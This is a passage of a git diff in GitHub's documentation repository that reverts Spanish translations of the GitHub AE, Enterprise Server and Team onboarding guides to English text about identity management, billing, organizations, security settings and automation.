para {% data variables.product.product_location %} -Puedes administrar el acceso centralmente a {% data variables.product.product_location %} en {% data variables.product.product_name %} desde un proveedor de identidad (IdP) utilizando el inicio de sesión único (SSO) de SAML para la autenticación de usuarios y un Sistema de Administración de Identidad de Dominio Cruzado (SCIM) para el aprovisionamiento de usuarios. Una vez que configures el aprovisionamiento, podrás asignar o desasignar usuarios a la aplicación desde el IdP, creando o inhabilitando cuentas de usuario en la empresa. Para obtener más información, consulta la sección "[Acerca de la administración de accesos e identidades para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)". +### 4. Managing identity and access for {% data variables.product.product_location %} +You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)." -### 5. Administrar la facturación para {% data variables.product.product_location %} -Los propietarios de la suscripción a {% data variables.product.product_location %} en {% data variables.product.product_name %} pueden ver los detalles de facturación para {% data variables.product.product_name %} en el portal de Azure. Para obtener más información, consulta la sección "[Administrar la facturación para tu empresa](/admin/overview/managing-billing-for-your-enterprise)". +### 5. Managing billing for {% data variables.product.product_location %} +Owners of the subscription for {% data variables.product.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)." -## Parte 2: Organizar y administrar a los miembros de la empresa -Como propietario de la empresa para {% data variables.product.product_name %}, puedes administrar los ajustes a nivel de los usuarios, repositorios, equipos y de la organización. Puedes administrar a los miembros de {% data variables.product.product_location %}, crear y administrar organizaciones, configurar políticas para la administración de repositorios y crear y administrar equipos. +## Part 2: Organizing and managing enterprise members +As an enterprise owner for {% data variables.product.product_name %}, you can manage settings on user, repository, team, and organization levels. You can manage members of {% data variables.product.product_location %}, create and manage organizations, set policies for repository management, and create and manage teams. -### 1. Adminsitrar a los miembros de {% data variables.product.product_location %} +### 1. Managing members of {% data variables.product.product_location %} {% data reusables.getting-started.managing-enterprise-members %} -### 2. Crear organizaciones +### 2. Creating organizations {% data reusables.getting-started.creating-organizations %} -### 3. Agregar miembros a las organizaciones +### 3. Adding members to organizations {% data reusables.getting-started.adding-members-to-organizations %} -### 4. Crear equipos +### 4. Creating teams {% data reusables.getting-started.creating-teams %} -### 5. Configurar niveles de permiso de organización y repositorio +### 5. Setting organization and repository permission levels {% data reusables.getting-started.setting-org-and-repo-permissions %} -### 6. Requerir políticas de administración de repositorios +### 6. Enforcing repository management policies {% data reusables.getting-started.enforcing-repo-management-policies %} -## Parte 3: Compilar de forma segura -Para incrementar la seguridad de {% data variables.product.product_location %}, puedes monitorear a {% data variables.product.product_location %} y configurar las características de seguridad y análisis para tus organizaciones. +## Part 3: Building securely +To increase the security of {% data variables.product.product_location %}, you can monitor {% data variables.product.product_location %} and configure security and analysis features for your organizations. -### 1. Monitorear a {% data variables.product.product_location %} -Puedes monitorear a {% data variables.product.product_location %} con tu tablero de actividad y registro de bitácoras de auditoría. Para obtener más información, consulta la sección "[Monitorear la actividad en tu empresa](/admin/user-management/monitoring-activity-in-your-enterprise)". +### 1. Monitoring {% data variables.product.product_location %} +You can monitor {% data variables.product.product_location %} with your activity dashboard and audit logging. For more information, see "[Monitoring activity in your enterprise](/admin/user-management/monitoring-activity-in-your-enterprise)." -### 2. Configurar las características de seguridad para tus organizaciones +### 2. Configuring security features for your organizations {% data reusables.getting-started.configuring-security-features %} -## Parte 4: Personalizar y automatizar el trabajo en {% data variables.product.product_location %} +## Part 4: Customizing and automating work on {% data variables.product.product_location %} You can customize and automate work in organizations in {% data variables.product.product_location %} with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_pages %}. ### 1. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} -### 2. Crear {% data variables.product.prodname_actions %} +### 2. Building {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -Para obtener más información sobre cómo habilitar y configurar las {% data variables.product.prodname_actions %} para {% data variables.product.product_name %}, consulta la sección "[Iniciar con las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)". +For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)." -### 3. Uso de {% data variables.product.prodname_pages %} +### 3. Using {% data variables.product.prodname_pages %} {% data reusables.getting-started.github-pages-enterprise %} -## Parte 5: Utilizar los recursos de apoyo y aprendizaje de {% data variables.product.prodname_dotcom %} -Los miembros de tu empresa pueden aprender más sobre Git y sobre {% data variables.product.prodname_dotcom %} con nuestros recursos para aprender y puedes obtener el apoyo que necesitas con {% data variables.product.prodname_dotcom %} Enterprise Support. +## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources +Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support. -### 1. Aprender con {% data variables.product.prodname_learning %} +### 1. Learning with {% data variables.product.prodname_learning %} {% data reusables.getting-started.learning-lab-enterprise %} -### 2. Trabajar con {% data variables.product.prodname_dotcom %} Enterprise Support +### 2. Working with {% data variables.product.prodname_dotcom %} Enterprise Support {% data reusables.getting-started.contact-support-enterprise %} diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md index f593ef929d..6022968de4 100644 --- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md +++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-enterprise-server.md @@ -1,120 +1,120 @@ --- -title: Guía de inicio para GitHub Enterprise Server -intro: 'Inicia con la configuración y administración de {% data variables.product.product_location %}.' +title: Getting started with GitHub Enterprise Server +intro: 'Get started with setting up and managing {% data variables.product.product_location %}.' versions: ghes: '*' --- -Esta guía te mostrará cómo configurar, ajustar y administrar {% data variables.product.product_location %} como un administrador de empresas. +This guide will walk you through setting up, configuring and managing {% data variables.product.product_location %} as an enterprise administrator. -{% data variables.product.company_short %} proporciona dos formas para desplegar {% data variables.product.prodname_enterprise %}. +{% data variables.product.company_short %} provides two ways to deploy {% data variables.product.prodname_enterprise %}. - **{% data variables.product.prodname_ghe_cloud %}** - **{% data variables.product.prodname_ghe_server %}** -{% data variables.product.company_short %} hospeda a {% data variables.product.prodname_ghe_cloud %}. Puedes desplegar y hospedar a {% data variables.product.prodname_ghe_server %} en tu propio centro de datos o en un proveedor de servicios en la nube que sea compatible. +{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider. -Para ver un resumen de cómo funciona {% data variables.product.product_name %}, consulta la sección "[Resumen del sistema](/admin/overview/system-overview)". +For an overview of how {% data variables.product.product_name %} works, see "[System overview](/admin/overview/system-overview)." -## Parte 1: Instalar {% data variables.product.product_name %} -Para iniciar con {% data variables.product.product_name %}, necesitarás crear tu cuenta empresarial, instalar la instancia, utilizar la Consola de Administración para la configuración inicial, configurar tu instancia y administrar la facturación. -### 1. Crear tu cuenta empresarial -Antes de que instales {% data variables.product.product_name %}, puedes crear una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} contactando al [Equio de Ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). Una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} es útil para facturar y compartir características con {% data variables.product.prodname_dotcom_the_website %} a través de {% data variables.product.prodname_github_connect %}. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)". -### 2. Instalar {% data variables.product.product_name %} -Para iniciar con {% data variables.product.product_name %}, necesitarás instalar el aplicativo en una plataforma de virtualización que tú elijas. Para obtener más información, consulta "[Configurar una instancia del {% data variables.product.prodname_ghe_server %}](/admin/installation/setting-up-a-github-enterprise-server-instance)." +## Part 1: Installing {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you will need to create your enterprise account, install the instance, use the Management Console for initial setup, configure your instance, and manage billing. +### 1. Creating your enterprise account +Before you install {% data variables.product.product_name %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +### 2. Installing {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you will need to install the appliance on a virtualization platform of your choice. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)." -### 3. Utilizar la consola de administración -Utilizarás la consola de administración para recorrer el proceso de configuración inicial cuando lances {% data variables.product.product_location %} por primera vez. También puedes utilizar la consola de administración para administrar los ajustes de instancia tales como la licencia, dominio, autenticación y TLS. Para obtener más información, consulta la sección "[Acceder a la consola de administración](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)". +### 3. Using the Management Console +You will use the Management Console to walk through the initial setup process when first launching {% data variables.product.product_location %}. You can also use the Management Console to manage instance settings such as the license, domain, authentication, and TLS. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." -### 4. Configurar {% data variables.product.product_location %} -Adicionalmente a la Consola de Administración, puedes utilizar el tablero de administrador de sitio y el shell administrativo (SSH) para administrar {% data variables.product.product_location %}. Por ejemplo, puedes configurar las aplicaciones y límites de tasa, ver reportes y utilizar utilidades de línea de comandos. Para obtener más información, consulta la sección "[Configurar tu empresa](/admin/configuration/configuring-your-enterprise)". +### 4. Configuring {% data variables.product.product_location %} +In addition to the Management Console, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.product.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)." -Puedes utilizar los ajustes de red predeterminados que utiliza {% data variables.product.product_name %} a través del protocolo de configuración de host dinámico (DHCP), o también puedes configurar los ajustes de red utilizando la consola de la máquina virtual. También puedes configurar un servidor proxy o reglas de firewall. Para obtener más información, consulta la sección "[Configurar los ajustes de red](/admin/configuration/configuring-network-settings)". +You can use the default network settings used by {% data variables.product.product_name %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)." -### 5. Configurar la disponibilidad alta -Puedes configurar a {% data variables.product.product_location %} para tener disponibilidad alta para minimizar el impacto de los fallos de hardware e interrupciones de red. Para obtener más información, consulta la sección "[Configurar la disponibilidad alta](/admin/enterprise-management/configuring-high-availability)". +### 5. Configuring high availability +You can configure {% data variables.product.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see "[Configuring high availability](/admin/enterprise-management/configuring-high-availability)." -### 6. Configurar una instancia de preparación -También puedes configurar una instancia de pruebas para las modificaciones, planear la recuperación de desastres y probar las actualizaciones antes de aplicarlas a {% data variables.product.product_location %}. Para obtener más información, consulta "[Configurar una instancia de preparación](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." +### 6. Setting up a staging instance +You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.product.product_location %}. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." -### 7. Designar respaldos y recuperación de desastres -Para proteger tus datos de producción, puedes configurar los respaldos automatizados de {% data variables.product.product_location %} con {% data variables.product.prodname_enterprise_backup_utilities %}. Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)" +### 7. Designating backups and disaster recovery +To protect your production data, you can configure automated backups of {% data variables.product.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." -### 8. Administrar la facturación para tu empresa -La facturación para todas las organizaciones e instancias de {% data variables.product.product_name %} conectadas a tu cuenta empresarial se agregará en un cargo de facturación único para todos tus servicios de pago de {% data variables.product.prodname_dotcom %}.com. Los propietarios y gerentes de facturación de las empresas pueden acceder y administrar los ajustes de facturación de las cuentas empresariales. Para obtener más información, consulta "[Administrar la facturación para tu empresa](/admin/overview/managing-billing-for-your-enterprise)". +### 8. Managing billing for your enterprise +Billing for all the organizations and {% data variables.product.product_name %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom %}.com services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)." -## Parte 2: Organizar y administrar tu equipo -Como propietario empresarial o administrador, puedes administrar los ajustes a nivel de usuario, repositorio, equipo y organización. Puedes administrar a los miembros de tu empresa, crear y administrar organizaciones, configurar políticas para la administración de repositorios y crear y administrar equipos. +## Part 2: Organizing and managing your team +As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams. -### 1. Adminsitrar a los miembros de {% data variables.product.product_location %} +### 1. Managing members of {% data variables.product.product_location %} {% data reusables.getting-started.managing-enterprise-members %} -### 2. Crear organizaciones +### 2. Creating organizations {% data reusables.getting-started.creating-organizations %} -### 3. Agregar miembros a las organizaciones +### 3. Adding members to organizations {% data reusables.getting-started.adding-members-to-organizations %} -### 4. Crear equipos +### 4. Creating teams {% data reusables.getting-started.creating-teams %} -### 5. Configurar niveles de permiso de organización y repositorio +### 5. Setting organization and repository permission levels {% data reusables.getting-started.setting-org-and-repo-permissions %} -### 6. Requerir políticas de administración de repositorios +### 6. Enforcing repository management policies {% data reusables.getting-started.enforcing-repo-management-policies %} -## Parte 3: Compilar de forma segura -Para aumentar la seguridad de {% data variables.product.product_location %}, puedes configurar la autenticación para los miembros empresariales, utilizar herramientas y registro en bitácoras de auditoría para permanecer en cumplimiento, configurar las características de seguridad y análisis para tus organizaciones y, opcionalmente, habilitar la {% data variables.product.prodname_GH_advanced_security %}. -### 1. Autenticar a los miembros empresariales -Puedes utilizar el método de autenticación integrado en {% data variables.product.product_name %} o puedes elegir entre un proveedor de autenticación establecido, tal como CAS, LDAP o SAML, para integrar tus cuentas existentes y administrar centralmente el acceso de los usuarios a {% data variables.product.product_location %}. Para obtener más información, consulta la sección "[Autenticar usuarios en {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)". +## Part 3: Building securely +To increase the security of {% data variables.product.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GH_advanced_security %}. +### 1. Authenticating enterprise members +You can use {% data variables.product.product_name %}'s built-in authentication method, or you can choose between an established authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}. For more information, see "[Authenticating users for {% data variables.product.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)." -También puedes requerir la autenticación bifactorial para cada una de tus organizaciones. Para obtener más información, consulta la sección "[Requerir la autenticación bifactorial en una organización](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)". +You can also require two-factor authentication for each of your organizations. For more information, see "[Requiring two factor authentication for an organization](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)." -### 2. Mantenerse en cumplimiento -Puedes implementar las verificaciones de estado requeridas y confirmar las verificaciones para hacer cumplir los estándares de cumplimiento de tu organización y automatizar los flujos de trabajo de cumplimiento. También puedes utilizar la bitácora de auditoría de tu organización para revisar las acciones que realiza tu equipo. Para obtener más información, consulta las secciones "[Requerir la política con ganchos de pre-recepción](/admin/policies/enforcing-policy-with-pre-receive-hooks)" y "[Generar bitácoras de auditoría](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)". +### 2. Staying in compliance +You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)" and "[Audit logging](/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging)." {% ifversion ghes %} -### 3. Configurar las características de seguridad para tus organizaciones +### 3. Configuring security features for your organizations {% data reusables.getting-started.configuring-security-features %} {% endif %} {% ifversion ghes %} ### 4. Enabling {% data variables.product.prodname_GH_advanced_security %} features -Puedes mejorar tu licencia de {% data variables.product.product_name %} para que incluya la {% data variables.product.prodname_GH_advanced_security %}. Esto proporciona características adicionales que ayudan a los usuarios a encontrar y arreglar problemas de seguridad en su código, tales como el escaneo de secretos y de código. Para obtener más información, consulta la sección "[{% data variables.product.prodname_GH_advanced_security %} para tu empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)". +You can upgrade your {% data variables.product.product_name %} license to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see "[{% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." {% endif %} -## Parte 4: Personalizar y automatizar el trabajo de tu empresa en {% data variables.product.prodname_dotcom %} +## Part 4: Customizing and automating your enterprise's work on {% data variables.product.prodname_dotcom %} You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}. -### 1. Crear {% data variables.product.prodname_github_apps %} y {% data variables.product.prodname_oauth_apps %} -You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. Para obtener más información, consulta "[Acerca de las apps](/developers/apps/getting-started-with-apps/about-apps)." +### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} +You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)." ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} {% ifversion ghes %} -### 3. Crear {% data variables.product.prodname_actions %} +### 3. Building {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -Para obtener más información sobre cómo habilitar y configurar las {% data variables.product.prodname_actions %} en {% data variables.product.product_name %}, consulta la sección "[Iniciar con {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)". +For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." -### 4. Publicar y administrar el {% data variables.product.prodname_registry %} +### 4. Publishing and managing {% data variables.product.prodname_registry %} {% data reusables.getting-started.packages %} -Para obtener más información sobre cómo habilitar y configurar el {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, consulta la sección "[Iniciar con el {% data variables.product.prodname_registry %} para tu empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)". +For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." {% endif %} -### 5. Uso de {% data variables.product.prodname_pages %} +### 5. Using {% data variables.product.prodname_pages %} {% data reusables.getting-started.github-pages-enterprise %} -## Parte 5: Conectarse con otros recursos de {% data variables.product.prodname_dotcom %} -Puedes utilizar {% data variables.product.prodname_github_connect %} para compartir recursos. +## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources +You can use {% data variables.product.prodname_github_connect %} to share resources. -Si eres el propietario tanto de una instancia de {% data variables.product.product_name %} como de cuenta de organización o de empresa de {% data variables.product.prodname_ghe_cloud %}, puedes habilitar {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} te permite compartir flujos de trabajo y características específicos entre {% data variables.product.product_location %} y {% data variables.product.prodname_ghe_cloud %}, tales como la búsqueda unificada y las contribuciones. Para obtener más información, consulta "[Conectar {% data variables.product.prodname_ghe_server %} a {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)." +If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)." -## Parte 6: Utilizar los recursos de apoyo y aprendizaje de {% data variables.product.prodname_dotcom %} -Los miembros de tu empresa pueden aprender más sobre Git y sobre {% data variables.product.prodname_dotcom %} con nuestros recursos para aprender y puedes obtener el apoyo que necesitas cuando configures y administres {% data variables.product.product_location %} con {% data variables.product.prodname_dotcom %} Enterprise Support. -### 1. Aprender con {% data variables.product.prodname_learning %} +## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources +Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.product.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support. +### 1. Learning with {% data variables.product.prodname_learning %} {% data reusables.getting-started.learning-lab-enterprise %} -### 2. Trabajar con {% data variables.product.prodname_dotcom %} Enterprise Support +### 2. Working with {% data variables.product.prodname_dotcom %} Enterprise Support {% data reusables.getting-started.contact-support-enterprise %} diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md index 11d8598ffd..f98c11638d 100644 --- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md +++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-team.md @@ -1,96 +1,96 @@ --- -title: Iniciar con GitHub Team -intro: 'Con {% data variables.product.prodname_team %}, los grupos de personas pueden colaborar a través de muchos proyectos al mismo tiempo en una cuenta organizacional.' +title: Getting started with GitHub Team +intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.' versions: fpt: '*' --- -Esta guía te mostrará cómo configurar, ajustar y administrar tu cuenta de {% data variables.product.prodname_team %} como propietario de una organización. +This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner. ## Part 1: Configuring your account on {% data variables.product.product_location %} -Como primeros pasos en el inicio con {% data variables.product.prodname_team %}, necesitarás crear una cuenta de usuario o iniciar sesión en tu cuenta existente de {% data variables.product.prodname_dotcom %}, crear una organización y configurar la facturación. +As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a user account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing. -### 1. Acerca de las organizaciones -Las organizaciones son cuentas compartidas donde las empresas y los proyectos de código abierto pueden colaborar en muchos proyectos a la vez. Los propietarios y los administradores pueden administrar el acceso de los miembros a los datos y los proyectos de la organización con características administrativas y de seguridad sofisticadas. Para obtener más información sobre las características de las organizaciones, consulta la sección "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)". +### 1. About organizations +Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)." -### 2. Crear una organización y registrarse para {% data variables.product.prodname_team %} -Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. Para obtener más información, consulta "[Registrarse para una nueva cuenta de {% data variables.product.prodname_dotcom %}](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)". +### 2. Creating an organization and signing up for {% data variables.product.prodname_team %} +Before creating an organization, you will need to create a user account or log in to your existing account on {% data variables.product.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)." -Una vez que se configure tu cuenta de usuario, puedes crear una organización y elegir un plan. Aquí es donde puedes elegir una suscripción de {% data variables.product.prodname_team %} para tu organización. Para obtener más información, consulta la sección "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)". +Once your user account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." -### 3. Administrar la facturación de una organización -Debes administrar la configuración de facturación, método de pago y características y productos de pago para cada una de tus cuentas y organizaciones personales. Puedes cambiar entre la configuración de tus diversas cuentas utilizando el alternador de contexto en tu configuración. Para obtener más información, consulta la opción "[Cambiar los ajustes de tus cuentas diferentes](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)". +### 3. Managing billing for an organization +You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)." -La página de configuración de facturación de tu organización te permite administrar las configuraciones como tu método de pago, ciclo de facturación y correo electrónico de facturación o ver la información tal como tu suscripción, fecha de facturación e historial de pago. También puedes ver y mejorar tu almacenamiento y tus minutos de GitHub Actions. Para obtener más información sobre cómo administrar tu configuración de facturación, consulta la sección "[Administrar tu configuración de facturación de {% data variables.product.prodname_dotcom %}](/billing/managing-your-github-billing-settings)". +Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)." -Solo los miembros de la organización con el rol de *propietario* o *gerente de facturación* pueden acceder o cambiar la configuración de facturación para tu organización. Un gerente de facturación es alguien que administra la configuración de facturación de tu organización y no utiliza una licencia de pago en la suscripción de tu organización. Para obtener más información sobre cómo agregar a un gerente de facturación a tu organización, consulta la sección "[Agregar a un gerente de facturación a tu organización](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)". +Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)." -## Parte 2: Agregar miembros y configurar equipos -Después de crear tu organización, puedes invitar miembros y configurar permisos y roles. También puedes crear niveles diferentes de equipos y configurar niveles personalizados de permisos para los repositorios, tableros de proyecto y apps de tu organización. +## Part 2: Adding members and setting up teams +After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps. -### 1. Administrar a los miembros de tu organización +### 1. Managing members of your organization {% data reusables.getting-started.managing-org-members %} -### 2. Permisos y roles de la organización +### 2. Organization permissions and roles {% data reusables.getting-started.org-permissions-and-roles %} -### 3. Acerca de y crear equipos +### 3. About and creating teams {% data reusables.getting-started.about-and-creating-teams %} -### 4. Administrar la configuración de los equipos +### 4. Managing team settings {% data reusables.getting-started.managing-team-settings %} -### 5. Otorgar acceso a equipos y personas para los repositorios, tableros de proyecto y apps +### 5. Giving people and teams access to repositories, project boards and apps {% data reusables.getting-started.giving-access-to-repositories-projects-apps %} -## Parte 3: Administrar la seguridad de tu organización -Puedes ayudar a mejorar la seguridad de tu organización si recomiendas o requieres autenticación bifactorial para los miembros de esta, configurando características de seguridad y revisando las bitácoras de auditoría e integraciones de la misma. +## Part 3: Managing security for your organization +You can help to make your organization more secure by 